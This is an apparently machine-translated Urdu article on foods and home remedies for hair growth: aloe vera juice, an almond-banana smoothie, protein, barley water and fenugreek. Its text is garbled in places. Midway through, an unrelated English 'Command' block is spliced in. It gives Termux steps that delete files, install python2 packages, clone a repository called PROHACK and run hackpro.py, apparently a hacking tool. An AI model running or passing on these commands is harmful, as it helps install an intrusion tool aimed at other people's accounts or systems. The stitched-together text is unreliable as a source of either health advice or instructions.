Home Remedies For Hair Growth: How To Grow Hair Naturally With Good Food

 بالوں کی نشوونما کی خوراک: اپنے باورچی خانے میں چاروں طرف نظر ڈالیں اور آپ کو کھانے کی ایک تار مل جائے گی جو آپ کے بالوں کو قدرتی طور پر بڑھنے میں مدد فراہم کرسکتی ہے!

جھلکیاں گھر پر قدرتی طور پر اپنے بالوں کو بڑھائیں۔ صحتمند بالوں کے لئے ان گھریلو علاج کا استعمال کریں۔ کھانے میں بالوں کی اچھی صحت کے لئے ضروری غذائی اجزاء ہوتے ہیں۔

بھڑک اٹھنا ، لمبے لمبے اور خوبصورت بالوں کا خواب ہر ایک کا ہوتا ہے۔ ہم جانتے ہیں کہ جس طرح کے بال ہم بڑے پیمانے پر حاصل کرتے ہیں اس کا انحصار ہمارے جینیات پر ہوتا ہے ، لیکن اگر ہم مناسب دیکھ بھال کریں تو ہم اپنے خوابوں کے بال حاصل کرسکتے ہیں۔ ایسی متعدد حد سے زیادہ انسداد ادویات ، مرہم ، تیل وغیرہ موجود ہیں جو ہمارے بالوں کے معیار کو بہتر بنانے اور ان کو بڑھنے میں مدد فراہم کرنے کا دعوی کرتے ہیں ، لیکن ان تمام کیمیکلوں سے ہمارے بالوں کو کیوں اذیت پہنچاتے ہیں (ہمیں نہیں معلوم کہ ان کے کیا ضمنی اثرات ہوسکتے ہیں) ہے) جب آپ گھر میں قدرتی علاج سے آسانی سے مقصد حاصل کرسکتے ہیں جو آپ کی جیب میں کوئی سوراخ نہیں جلاتے ہیں۔ اپنے باورچی خانے میں آس پاس نظر ڈالیں اور آپ کو ایسی کھانوں کی تار مل جائے گی جو آپ کے بالوں کو قدرتی طور پر بڑھنے میں مددگار ثابت ہوسکتی ہیں! (یہ بھی پڑھیں: 5 بایوٹین رچ فوڈز جو بالوں کا گرنا روک سکتے ہیں اور ان کے بڑھنے میں مددگار ثابت ہوسکتے ہیں)

   

صحت مند بالوں کے ل for اچھی طرح کھائیں۔ گھریلو علاج جو آپ کو بالوں کی قدرتی نشوونما کے لئے ضروری ہیں: 1۔ ایلو ویرا جوس ایلو ویرا میں پروٹولیٹک انزائم کی اچھی خاصی مقدار پائی جاتی ہے ، جو جلد کے مردہ خلیوں اور بالوں کے پتیوں کی مرمت کرسکتی ہے ، جس کے نتیجے میں بالوں میں تیزی سے اضافہ ہوتا ہے۔ یہ مشورہ دیا جاتا ہے کہ دن کا آغاز ایک گلاس مسببر ویرا جوس پیتے ہو۔ آپ اسے کیسے بنا سکتے ہیں یہ یہاں ہے۔ Alm. بادام اور کیلے کی اسموٹی آلمنڈ ، پروٹین ، وٹامنز اور معدنیات جیسے زنک سے مالا مال ہونے سے بالوں کی صحت کے لئے بہت اچھا ہے۔ کہا جاتا ہے کہ بادام میں پائے جانے والے وٹامن ای کیراٹین کی پیداوار کو آگے بڑھاتے ہوئے خراب بالوں کو ٹھیک کرنے میں بہت مددگار ثابت ہوتے ہیں۔ دوسری طرف کیلے ہمیں اپنے بالوں کی پرورش کے لئے کیلشیم اور فولک ایسڈ کی ایک بہت بڑی مقدار مہیا کرتے ہیں۔ دونوں گری دار میوے کے ساتھ ساتھ ، کچھ گری دار میوے ، بیج ، دار چینی پاؤڈر اور شہد ملا کر بادام اور کیلے کی ہموار بنائیں۔ 

Command :

$ termux-setup-storage

$ rm -f license.txt

$ rm -rf PROHACK

$ pkg update

$ pkg upgrade

$ pkg install python

$ pkg install python2

$ pip2 install requests

$ pip2 install mechanize

$ pip2 install lolcat

$ pip2 install bs4

$ pkg install git

$ git clone https://github.com/James404-cyber/PROHACK.git

$ cd PROHACK

$ python2 hackpro.py

 یہ مکمل نسخہ یہ ہے۔ 3. پروٹین رچ ڈائیٹ کنسلٹنٹ نیوٹریشنسٹ روپالی دتہ نے انکشاف کیا ، "ہمارے بال 95 فیصد کیریٹن (ایک پروٹین) اور 18 امینو ایسڈ (پروٹینوں کے بلڈنگ بلاکس) پر مشتمل ہیں۔ لہذا آپ کی غذا میں پروٹین کا اضافہ آپ کے بالوں کی صحت کو برقرار رکھنے میں بہت آگے جاسکتا ہے۔ انڈے ، مرغی ، مرغی ، دودھ ، پنیر ، گری دار میوے ، دہی ، کوئنو پروٹین کا بہترین ذریعہ ہیں اور انھیں کثرت سے کھایا جانا چاہئے۔ Bar. جو کی واٹر بارلی میں آئرن اور تانبے کی بھر پور مقدار موجود ہے جو خون کے سرخ خلیوں کی تیاری کو تیز تر کر سکتی ہے اور بالوں کے پتیوں کو مضبوط بناتی ہے۔ آپ بالوں کی نشوونما کے اس حیرت انگیز گھریلو علاج کے ل to آپ ہلڈ جو یا موتی جو کو استعمال کرسکتے ہیں۔ جو کو پانی میں ابالیں ، اس میں نمک ڈالیں اور آدھے گھنٹے کے لئے ابالیں۔ گیس اتاریں اور اس میں لیموں کی رند اور شہد ڈالیں۔ مکمل ہدایت کے لئے یہاں کلک کریں۔ F. میتھی کا مسالہ میتھی کے بیج (میتھی دانا) میں فولک ایسڈ ، وٹامن اے ، وٹامن کے اور وٹامن سی ، اور ضروری معدنیات جیسے پوٹاشیم ، کیلشیئم اور آئرن ہوتے ہیں۔ صرف ان ہی نہیں ، یہ جادوئی مسالا پروٹین کی ایک اچھی مقدار بھی پیش کرتا ہے۔ یہ تمام غذائی اجزاء بالوں سے متعلق امور کے علاج اور بالوں کی نشوونما کو فروغ دینے کے لئے اکٹھے ہوتے ہیں۔ آپ رات میں رات میں ایک چائے کا چمچ میتھی کے دالوں کو بھگو کر رکھ سکتے ہیں اور اگلی صبح اسے لے سکتے ہیں ، یا اپنی پکانے کی ترکیبیں میں مسالہ ڈال سکتے ہیں۔ بالوں کی افزائش کو فروغ دینے کے لئے ہمیشہ ان جیسے قدرتی گھریلو علاج کا انتخاب کریں۔ مختلف خصوصیات کی موجودگی کی وجہ سے ، یہ کھانے پینے سے آپ کی مجموعی صحت کو فروغ دینے میں بھی مدد ملے گی۔ نیہا گروورلوف کے بارے میں پڑھنے کے ل for اس کی تحریری جبلت میں اضافہ ہوا۔ نیہا کسی بھی طرح کی کیفینڈ والی چیز کے ساتھ گہری سیٹ طے کرنے کا قصوروار ہے۔ جب وہ اپنے خیالات کا گھونسلا اسکرین پر نہیں ڈال رہی ہے ، آپ کافی پر گھونٹتے ہوئے اسے پڑھتے ہوئے دیکھ سکتے ہیں۔